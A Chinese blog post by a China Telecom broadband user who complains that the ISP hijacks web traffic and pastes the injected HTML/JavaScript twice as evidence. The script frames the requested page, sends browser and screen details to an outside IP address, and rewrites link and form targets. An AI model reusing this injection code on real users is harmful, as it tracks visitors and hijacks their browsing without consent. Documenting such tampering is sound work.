本人现在正使用的是珠海6M ADSL电信宽带,最近一直出现网页打开title却不能正常显示,浏览器右侧莫名出现又滚动条,最开始以为是中木马,但是几次查杀发现问题并不是想像这样。
我查看页面源代码发现这样的代码
<html>
<body scroll='no' style='border:0;margin:0;padding:0;'>
<iframe src='http://www.williamlong.info/archives/2184.html?' width='100%' height='100%' frameborder='0'></iframe>
<iframe src='about:blank' frameborder='0' id='frmContent'></iframe>
<script>
try{
var win=window.frames[1];
var s=screen;
var ss="http://125.89.69.14:4022/logo.jpg?p="
+navigator.appMinorVersion+"|"+s.availHeight+"|"+s.availWidth+"|"+s.colorDepth+"|"+s.height+"|"+s.width;
win.location=ss;}
catch(e){
location.reload(true);}
_hInterval=window.setInterval('Check()', 500);
function Check(){
try{
var win=window.frames[0];
if(win.document.readyState!='complete'){return;}
window.clearInterval(_hInterval);
_hInterval=null;
var doc=win.document;
for(var i in doc.links){
if(doc.links[i].target=="")
{doc.links[i].target="_top";}}
for(var i in doc.forms){
if(doc.forms[i].target==""){doc.forms[i].target="_top";}}}
catch(e){}
}
window.setInterval('window.status=location.href', 200);
</script>
</body>
</html>
通过Google发现,这是一种被DNS劫持特征

下面看看被DNS劫持后浏览器的表现。
一、标题不能正常显示
二、右侧双滚动条
确定他们恶行后,我播打了他们10000进行了投诉,正如大家所知道的一样,客服人员先是辩解,再后来人打给我回访,说是尽快处理。
不过,晚上使用网络时发现比之前劫持的更严重。在此强烈BS,电信这种垃圾行为。
<html><bodyscroll='no'style='border:0;margin:0;padding:0;'><iframesrc='http://www.williamlong.info/archives/2184.html?'width='100%'height='100%'frameborder='0'></iframe><iframesrc='about:blank'frameborder='0'id='frmContent'></iframe><script>try{var win=window.frames[1];var s=screen;var ss="http://125.89.69.14:4022/logo.jpg?p="+navigator.appMinorVersion+"|"+s.availHeight+"|"+s.availWidth+"|"+s.colorDepth+"|"+s.height+"|"+s.width;win.location=ss;}catch(e){location.reload(true);}_hInterval=window.setInterval('Check()', 500);function Check(){try{var win=window.frames[0];if(win.document.readyState!='complete'){return;}window.clearInterval(_hInterval);_hInterval=null;var doc=win.document;for(var i in doc.links){if(doc.links[i].target==""){doc.links[i].target="_top";}}for(var i in doc.forms){if(doc.forms[i].target==""){doc.forms[i].target="_top";}}}catch(e){}}window.setInterval('window.status=location.href', 200);</script></body></html>







